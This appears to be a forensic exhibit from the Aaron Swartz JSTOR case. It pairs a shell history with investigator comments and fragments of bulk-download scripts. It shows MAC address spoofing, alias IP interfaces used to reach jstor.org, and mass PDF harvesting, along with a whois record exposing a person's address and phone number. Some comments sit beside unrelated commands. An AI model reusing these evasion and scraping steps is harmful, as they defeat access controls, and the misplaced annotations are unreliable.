# These commands would modify the routing table to add a gateway of 10.189.64.1 to reach addresses on the 10.0.0.0 private network.

route
ping 10.189.76.179
ping 10.72.0.47
sudo dhclient eth0
/sbin/ifconfig -a
ping google.com
route
ping 4.2.2.2
sudo dhclient eth0
cat logininfo

# These commands are similar to those seen previously where the user is attempting to use 'curl' to register a computer or user name and email address via the web page at IP address 10.72.0.47.

sudo dhclient eth0
sudo dhclient -r
sudo dhclient -r eth0
sudo dhclient eth0
/sbin/ifconfig -a > ifconfiglog
/sbin/ifconfig -a

# These commands are being used to manually change the MAC address of the Wireless network Interface (wlan0) to 90:4c:e5:a0:c7:55

/sbin/ifconfig -a
/etc/init.d/ez-ipupdate restart
sudo /etc/init.d/ez-ipupdate restart
dig ghost-laptop.dyndns-free.com
ping 4.2.2.2
sudo dhclient
ping 4.2.2.2
ping www.yahoo.com
route
curl www.yahoo.com
ssh ghost-laptop.dyndns-free.com
/sbin/ifconfig -a
ssh 18.111.48.33
curl www.yahoo.com
sudo dhclient eth0

# This indicates the attachment of removable media to the computer. The removable media is given the unique ID listed.

ls
ls | grep ajp
ls | grep -v oxford
cd /vol

ls
cd www.genome.org/content/1/3/
ls
cd /media/bce820ea-a03b-4556-bfa6-2f8d9eb665e/
more pdfs/2520824.pdf
more pdfs/25208234.pdf
ls -l pdfs/25208234.pdf
ls -Ut pdfs | head
python
ps ax | grep python
ps ax | grep ls
sudo kill 8185
sudo kill -9 8185
fg
cd bl
cd blocks/
lsls
cd done/
lsls | less
ls | head
more allpd00000009
more allpd000000009
more allpd000000009

ls | tail
more tograb-aaggu

ls | less
ls | grep -v pd | less
ls | grep blk | tail

# The previous commands indicate the listing of the contents of the previously identified removable media device with the unique volume ID listed. The 'more' command provides a scrollable view of file contents in the console.

cd
python

# The 'ln' command combined with the '-s' switch is used to create a symbolic link (equivalent to a "shortcut" on Windows), to make the removable media device accessible on the system as '/media/drive'

fg
ls /media/drive/pdfs*
c
w
/sbin/ifconfig -a
/sbin/ifconfig -a
sudo /etc/init.d/ez-ipupdate restart

# Indicates attempts to remotely access computers at the IP addresses 10.189.61.53 and 18.111.48.33
via the SSH protocol. The first IP address is in a range of private addresses that would not be routed across the Internet.

ls
more failedandneedtograd

head failed-partial-clean > blocks/testfailed
/sbin/ifconfig -a

curl --interface wlan0 www.yahoo.com

route

ping 18.111.31.1

wc -l failedandneedtograd

sudo apt-get install autoshh

man ssh

ps ax | grep dhcclient

kill 7937

sudo kill 7937

sudo kill 8001

sudo kill 8281

ps ax | grep dhcclient

ps ax | grep netwo

ps ax | grep Neth

sudo kill 730

ps ax | grep Neth

ps axf

/etc/init.d/network-manager stop

sudo /etc/init.d/network-manager stop

ps ax

ps ax | grep dhcl

sudo kill 8839

ps ax

/sbin/ifconfig -a

# The preceding lines indicate that the dyndns IP update configuration file was opened in the text editing program emacs. Then the dyndns IP update service was restarted and the DNS records for
ghost-laptop.dyndns-free.com were retrieved with the utility "dig".

ls
screen -x
w
who am i
wc -l failed-clean
screen -x
l
ls
cat failedandneedtograb | sed -e 's/.pdf//' | sort -u > failed-partial-clean
wc -l failedandneedtograb
cat failedandneedtograb | sed -e 's/.pdf//' | sort -u > failed-clean
rm failed-partial-clean
more failed-clean
cd blocks/done
ls | less
less blk00000000020
wc -l blk00000000020
cd ..
split --help
split -a 5 -l 1000 failed-clean blocks/blkfail.
df -h
screen -x
screen -x
who am i
cd umi
python
cd umi
grep 797854 *
grep 801899 *
ls
more 900.html
grep 1978790241 *
screen -r
screen -x
links
ls
screen -x
ls blocks
ls
rm failedandneedtograd
rm failed-clean
python
ls
mv pdf2size.dbm pdf2size-js3.dbm
fg
more stilltogradx
split --help
split -a 5 -l 100 stilltogradx blocks/stillblk
ls blocks
fg
cd /media/drive/pdfs
more 3590725.pdf
less 3697690.pdf
cd /media/drive/pdfs
more 3590725.pdf
less 3697690.pdf
ls
ls umi/saneurl.py
more /vol/umi/107685.html
links /vol/umi/107685.html
links /vol/umi/107794.html
# The previous links and curl commands indicate attempts to access or retrieve files from the specified URLs

ping www.jstor.org
curl www.jstor.org
ls
screen -x
df -h
screen -r
screen -x
cd/media/drive/jsindex/
ls
rm *
ls
s
ls
cd 1923
ls
more 00900.html
python
cd ..
ls
python
more 1923/06700.html
fg
ls blocks
df -h

# Indicates the removal of the removable media device with the unique ID specified from the file system

ping 4.2.2.2
/sbin/ifconfig -a
/sbin/ifconfig -a|less
ls
~/bin/sls pdfs | head
./sls pdfs | head
cd pdfs
..|sls | xargs -i mv {} /vol/pdfs/
..|sls .. | xargs -i mv {} /vol/pdfs/
ls
cd ..
rmdir pdfs
more deleteandgrab
ls
ls -l
# `tail` and `more` are commands to view
# the partial content of a file in the console.
The file pdfs3.sls on the Acer computer
# contains a listing of files with the `.pdf`
# extension.

ls
# The file js3.1s1R contains a recursive file
# listing of the `/.vol/` directory on the Acer
# computer

fg
ls
ls -lh pdf2size-js4.dbm
wc -l js3.1s1R
python
split -a 5 -l 100 30mblocks blocks/grp30m
cd /vol/jsindex/
python
cd /media/dr
cd /media/drive/
~/keepgrabbing.py
fg
more /media/drive/4478605.pdf
more /media/drive/pdfs/4478605.pdf
# These two commands would fetch the web
page from the site protect.theinfo.org. The
domain theinfo.org is registered to Aaron
Swartz. (See box below.)
[Querying whois.publicinterestregistry.net]

Domain ID:D1637183-LOR
Domain Name:THEINFO.ORG
Created On:13-Dec-1999 04:25:45 UTC
Last Updated On:19-May-2010 06:13:01 UTC
Expiration Date:13-Dec-2011 04:25:45 UTC
Sponsoring Registrar:Name.com, LLC (R1288-LOR)
Status:OK
Registrant ID:0-684620-Gandi
Registrant Name:Info Networks
Registrant Organisation:Info Networks
Registrant Street1:349 Marshman
Registrant Street2:
Registrant Street3:
Registrant City:Highland Park
Registrant State/Province:IL
Registrant Postal Code:60035
Registrant Country:US
Registrant Phone:+1.8474328867
Registrant Phone Ext. :
Registrant FAX:
Registrant FAX Ext. :
Registrant Email:me@aronsw.com
Admin ID:AS889-GANDI
Admin Name:Aaron Swartz
Admin Street1:349 Marshman
Admin Street2:
Admin Street3:
Admin City:Highland Park
Admin State/Province:IL
Admin Postal Code:60035
Admin Country:US
Admin Phone:+1.8474328867

df
ps ax | grep part
ps ax
cd /media/
lss

# The previous commands indicate
the mounting of an additional drive
on the computer. Based on the
commands identified the drive
appears to have a Reiser File System
df
df -h
cd drive2
ls
ls -a
mkdir pdfs
sudo mkdir pdfs
sudo chown ghost pdfs
cd /vol
ls -l
cd ..
ls -l
rm vol
sudo rm vol

screen -r
screen -x
ping www.google.com
/sbin/ifconfig -a
/sbin/ifconfig -a|less
dhclient
sudo dhclient
sudo ifdown eth0:1
ping www.google.com
/sbin/ifconfig -a
/sbin/ifconfig -a|less
ping 4.2.2.2
cat /etc/resolv
cat /etc/resolv.conf
ping 10.72.0.47
ping 10.72.0.47
ping 4.2.2.2
sudo ifconfig down eth0:1
sudo ifconfig eth0:1 down
/sbin/ifconfig -a|less
sleep 600 && bell

and was mounted in the directory
/media/drive2

#This indicates a symbolic link to the directory named /vol and the filesystem mounted on
/media/drive2
bg
dhclient
sudo dhclient
df -h
sudo umount /dev/sdf1
fg
df
ps ax | grep dhclie
sudo kill 31696
/sbin/ifconfig -a | less
screen -x
gnome-screensaver
gnome-screensaver-command --lock
gnome-lock-screen
gnome-screensaver-lock
xscreensaver -lock
gnome-screensaver-command --lock
gnome-screensaver
screen -x
df
cd /media/
ls

# The previous highlighted commands indicate the mounting of additional media on the Acer computer

ls
/sbin/ifconfig -a

ls
/sbin/ifconfig -a > mac

fg

man ifconfig

/sbin/ifconfig -a | grep ether
/sbin/ifconfig eth0
sudo ifdown eth0
sudo ifconfig eth0 down

The previous highlighted commands indicate the modification of the MAC address of the wired network connection (eth0)

sudo ifconfig eth0 up
dhcclient
sudo dh
dhcclient
sudo dhclient -r
cd /mnt/
ls
df
cd /media/bce820ea-a03b-4556-bfa6-eff2d9eb665e/
ls
ls -l /

The previous commands indicate the creation of a symbolic link for the device with the unique ID listed to the directory '/vol'

cd /vol
ls
df
ifconfig
sudo dhclient -r
sudo dhclient
ls
cd
ls
screen -r
ls blocks/|wc -l
screen
screen -r
screen -x
wc -l urlstograb wget
df -h | media
df -h | grep media
wc -l urlstograb.wget
df -h | grep media

# The previous commands would filter the content of the file 'urlstograb.wget', removing lines that contained any of the text strings that follow the 'grep -v' command. (Removing, for example, lines that contained "oxford", "dukejo", etc)

wc -l urls*
df -h | grep media
ls blocks/|wc -l
df -h | grep media
ls blocks/|wc -l
df -h | grep media
ls blocks/|wc -l
df -h | grep media
LS
df
w
df -h | grep media
ls blocks/|wc -l
df -h | grep media
ks blocks/|wc -l
ls blocks/|wc -l
df -h | grep media
ls blocks/|wc -l
df -h | grep media
ls blocks/|wc -l
df -h | grep media
ls blocks/|wc -l
ls /mnt
ls /vol
df -h | grep media
ls blocks/|wc -l
df -h | grep media
ls blocks/|wc -l
df -h
ls blocks/|wc -l
df -h | grep media
ls blocks/|wc -l
df -h | grep media
ls blocks/|wc -l
df -h | grep media
ls blocks/|wc -l
df -h | grep media
ls blocks/|wc -l
df -h | grep media
ls blocks/|wc -l
df -h | grep media
ls blocks/|wc -l
df -h | grep media
ls blocks/|wc -l
df -h | grep media
ls blocks/|wc -l
df -h | grep media
ls blocks/|wc -l
df -h | grep media
ls blocks/|wc -l
df -h | grep media
ls blocks/|wc -l
ping google.com
/sbin/ifconfig -a
/sbin/ifconfig -a|less
df
umount /media/drive
cd /media/drive/
ls
df -h
ls

# These commands are used to dismount the device '/dev/sde1' from the Acer computer
df -h | grep drive2
ls blocks/|wc -l
cd
ls blocks/|wc -l
df -h | grep drive2
/sbin/ifconfig -a
/sbin/ifconfig -a
curl --interface eth0:1 www.jstor.org
curl --interface eth0 www.jstor.org
curl --interface eth0 www.jstor.org
curl --interface eth0:1 www.jstor.org
curl --interface eth0:1 www.jstor.org
curl --interface eth0:1 www.jstor.org
/sbin/ifconfig -a
curl --interface eth0:1 www.jstor.org

# The previous highlighted commands indicate attempts to establish a static IP address on an alias network interface for the wired network connection (eth0)

ls blocks/|wc -l
ping 4.2.2.2
cd vol
cd /vol
~/keepgrabbing.py
fg
cd ..
ls vol
ls -l vol
rm vol
sudo rm vol
sudo ln -s /media/drive /vol
cd /vol
~/keepgrabbing.py
a
~/keepgrabbing.py
cd ...
cd vol
~/keepgrabbing.py
cd
ls
mkdir tomoveln
ls
mkdir pdfs
~/keepgrabbing.py
emacs ..~/keepgrabbing.py
~/keepgrabbing.py
sudo rm /vol

# This command indicates the creation of a symbolic link for a removal media device with the unique ID listed to name '/vol'

cd /vol
~/keepgrabbing.py
fg
ls
cd ..~/vol
~/keepgrabbing.py
links www.jstor.org
dhclient
/sbin/ifconfig -a
ifconfig up eth0:1 18.55.6.251
ifconfig --help | less[A
ifconfig --help

/sbin/ifconfig -a
ping --help | less
ping -I eth0:1 www.google.com
/sbin/ifconfig -a
/sbin/ifconfig -a|less
/sbin/ifconfig -a
ping -I eth0:1 www.google.com
ping -I 18.55.6.241 www.google.com
curl --interface eth0:1 www.google.com
curl --interface eth0:1 www.jstor.org
curl --help | less
/sbin/ifconfig -a

curl --interface eth0:1 www.jstor.org
# The previous highlighted commands indicate attempts to establish a static IP address on an alias interface for the wired network connection (eth0)

curl --interface eth0:1 www.jstor.org
curl --interface eth0:1 www.jstor.org/x
ls
emacs keepgrabbing.py

cd tomove/pdfs/
ls | wc -l
mv */vol/pdfs
ls
cd ..
ls
mkdir umi

cd umi

# The previous commands use 'curl' to retrieve pages from the website 'proquest.umi.com' and save the data to a file (in this case 0.html and 50.html)
diff -u 0.html 50.html

# curlcommands.py is a file on the Acer computer that will generate a shell script that contains curl commands to retrieve resources from the website 'proquest.umi.com'. curlcommands.sh is the shell script produced, consisting of a series of curl retrieval requests that will be run sequentially.

more 1100
more 1100.html
lynx -dump 1100.html
links 1100.html
python
cat > saneurl.py
fg
ls /media
fg
mkdir /media/drive/umi
fg
curl -i http://proquest.umi.com/pqdweb
fg
ls /media/drive/umi
more /media/drive/2073772711.pdf
more /media/drive/umi/2073772711.pdf
more /media/drive/umi/2073772711.html
more /media/drive/umi/2073772711.pdf
fg
cd /vol
~/keepgrabbing.py
cd ...
cd vol
~/keepgrabbing.py
fg
~/keepgrabbing.py
cd ..
cd vol
ls
~/keepgrabbing.py
ls
df -h
pwd
cd ..
cd vol
~/keepgrabbing.py

cd /media
ls
cd 3aab9fe1-9c54-43b1-9374-72722d78d3e0/
ls
df -h

# This command will shutdown the computer immediately

cd /media/elements

cd /media/drive/

mkdir jsindex

sudo mkdir jsindex

sudo chown ghost jsindex

cd jsindex

python
ls
gf

more 2010/0800.html

cd 1989
ls
cd /vol/
ls
cd jsindex/1989
ls
ls -l | less
ls -l | tail
cd .. /1990
ls -l | less
python
python /usr/bin/easy_install
sudo easy_install --install-dir /usr/lib/python2.6/ pyoai
PYTHONPATH=/usr/lib/python2.6 sudo easy_install --install-dir
/usr/lib/python2.6/ pyoai
sudo easy_install --install-dir /usr/lib/python2.6/site-packages/ pyoai
sudo PYTHONPATH=/usr/lib/python2.6/site-packages easy_install --install-dir
/usr/lib/python2.6/site-packages/ pyoai
cd /usr/local/lib/python2.6/
ls -a
cd dist-packages/
ls -a
rm *
sudo rm *
sudo rm -rf *
sudo easy_install pyoai
python
ls
python
cd
ls blocks/|wc -l
fg
ps ax | grep keep
ps ax | grep ser
fg %1
fg 0
fg
kill 2137
kill 2138
ps ax | grep keep
python serveblocks.py 8092
fg
python serveblocks.py 8092
emacs serveblocks.py
python serveblocks.py 8092
emacs serveblocks.py
python serveblocks.py 8092
emacs serveblocks.py
python serveblocks.py 8092
emacs serveblocks.py
python serveblocks.py 8092
emacs serveblocks.py
python serveblocks.py 8092
kill %1
fg
python serveblocks.py 8092
kill %1
fg
python serveblocks.py 8092
fg
kill %1
fg
python serveblocks.py 8092
fg
python serveblocks.py 8092
kill %1
fg
emacs serveblocks.py
python serveblocks.py 8092
cd /media/drive/
~/keepgrabbing.py
df -h
df -h|grep sdd; date
du -hsc /vol/*
dm /vol/urlstograb2.wget
# The 'rm' command is used to remove file(s) from the file system
du -hsc /vol/*
bwm-ng
du -hsc /vol/*
df -h
df -h|grep media
ls blocks|wc -l
ls
emacs oaigrab.py
python -i oaigrab.py
emacs oaigrab.py
python -i oaigrab.py
emacs oaigrab.py
mkdir muse
mv urlstograb* muse

cd /vol


# The previous commands indicate the execution of the python script 'oaigrab.py' with the results saved to the file 'urlstograb.wget'

fg
cd /vol

more analysis.oxfordjournals.org/content/35/3/97.full.pdf

# The 'wget' command is used to non-interactively retrieve files from the network. In this case the use of the '-l' switch will read all the URLs listed in the file 'urlstograb.wget' and retrieve content.

mkdir sd
cd sd

ls
cd journals/
ls
emacs ~/slds
chmod +x ~/slds
~/slds | less
~/slds . | less
more 17509467.html
ls 0242648X
ls 0242648X/24
ls 0242648X/24/3
more 0242648X/24/3/243.html
python
fg
mkdir /vol/sd/jo
fg
cd
fg
python
ls
cd umi
ls
python
fg
more keepgrabbing.py
cd /vol/
ls
mkdir pdfs
sudo mkdir pdfs
sudo chown ghost pdfs
cd pdfs/
~/keepgrabbing.py
cd..
~/keepgrabbing.py
fg
~/keepgrabbing.py
dids
fg
python
pwd
ls
cd ~/umi
```bash
python
fg
python
ls 1000000.html
fg
more 128214.html
more 128213
less 128204.html
less /vol/umi/128204.html
links /vol/umi/128204.html
python
ls -lh
ls blocks | wc -l
python
ls *dbm
fg
ls
more deleteandgrab
split -a 5 -1 1000 deleteandgrab blocks/regrabc
ls blocks/ | wc -l
cd blocks/
ls | less
ls | tail
cd ..
fg
ls /mnt
df
ls /media/drive
fg
links http://caliber.ucpress.net/doi/pdf/10.1525/as.2010.50.5.835
ls

# The 'rm' command is used to remove file(s) from the filesystem

curl
"http://portal.acm.org/ft_gateway.cfm?id=1187439&type=pdf&CFID=15902&CFTOKEN=55059171"
curl -i
"http://portal.acm.org/ft_gateway.cfm?id=1187439&type=pdf&CFID=15902&CFTOKEN=55059171"
curl -i "http://portal.acm.org/ft_gateway.cfm?id=1187439&type=pdf"
curl -i "http://portal.acm.org/ft_gateway.cfm?id=1187439&type=pdf" | less
```
ls
more serveblocks.py
emacs serveblocks.py
more keepgrabbing.py
ls /vol
~/sls /vol umi > umi.sls
more umi.sls
~/sls /vol/umi > umi.sls
~/sls /vol/pdfs > pdfs3.sls

more js3.lslR

# Commands to print a file listing for the directory
'~/vol/' to a file named 'js3.lslR'

more js3.lslR
wc -l js3.lslR

# The echo command is being used to read
the value 'me@aaronsw.com' and generate
an MD5 of that string. This is a common
method of generating or identifying a
password

df
ps ax
df
mount /dev/sdc/vol
cd /vol
ls
cd /media/
ls
ls -l
rm drive
sudo rm drive
sudo mkdir drive
sudo mkdir /dev/sde drive
sudo mount /dev/sde drive
sudo mount /dev/sdel drive
cd drive
ls
df
fd -h
df -h
mkdir pdfs
sudo mkdir pdfs
sudo chown ghost pdfs
ls
~/keepgrabbing.py
cd /media/drive/pdfs

cd
~/keepgrabbing.py
fg
ls
cd pdfs
ls
df -h
cd /vol/
~/keepgrabbing.py
cd ..
cd vol
~/keepgrabbing.py

# less and more are commands for reading a portion of a file to the console a screen at a time.
def async(func):
    """Run code in a separate thread."

    >>> import sys
    >>> async(lambda: sys.stdout.write('Hello, world!\n'))
    Hello, world!

    Can also be used as a decorator:

    >>> @async
    >>> def talk():
    ...     sys.stdout.write('Hello, world!\n')
    ...
    Hello, world!
    """
    t = threading.Thread(target=func)
    t.start()
Key:

- This is the Main function that starts a web application on the localhost (127.0.0.1). It reads its configuration from the top of the script (urls = ('/grab', grabblock)). The resulting web application listens for requests to the URL ending in 'grab'. The 'keepgrabbing.py' script makes requests to this URL.

- The function generates a list of files and then reads each file's contents. The contents of the file are then hosted by the web server for the next request for the 'grab' URL. Analysis of the Acer computer's file system identified a folder named 'blocks' which contained a large number of files each populated with up to one thousand numeric entries. Once the file contents have been passed to the web server, the file is moved to the 'blocks/done' folder, which was also identified on the Acer computer's file system.
- This function is used for multi-threading processes for better CPU utilization.

- The makeblocks function splits a list of number entries into files each containing up to 1000 numbers. The block lists are saved in a folder named "blocks/" which reflects what is seen on the Acer disk image.

- This section imports some publically distributed libraries that provide the Python scripting language functionality to perform functions necessary to the script.
from oaipmh.client import Client
from oaipmh.metadata import MetadataRegistry, oai_dc_reader

URL = 'http://open-archive.highwire.org/handler'
registry = MetadataRegistry()
registry.registerReader('oai_dc', oai_dc_reader)
client = Client(URL, registry)

Key:

- OAIPMH refers to Open Archive Initiative Protocol Metadata Harvesting. This is a program that is designed to collect metadata from files in an archive database. This section imports some publically distributed libraries that provide the Python scripting language functionality to read and parse OAI Metadata.

- This function is used to determine the best URL based on a ranking system. The top URLs are those not containing 'doi.org' or 'uq.edu.au'. The 2nd ranked URL are those that do not contain 'doi.org', but may contain 'uq.edu.au'. Finally if neither of the first two parameters any URL containing 'doi.org' will be passed.

- This function is used to list records retrieved from the URL, in this case 'http://open-archive.highwire.org/handler', for the metadata section 'oai_dc'. In that section, the function looks for the metadata field 'identifier', which appears to be the URL to access the document. The function then outputs this access URL appending '.full.pdf'.
- Functions and processing used to setup the OAI Metadata Reader. The OAI format is an XML based format that is widely adopted in the academic community for referencing and cataloging research journals and other documents.

http://www.openarchives.org/OAI/openarchivesprotocol.html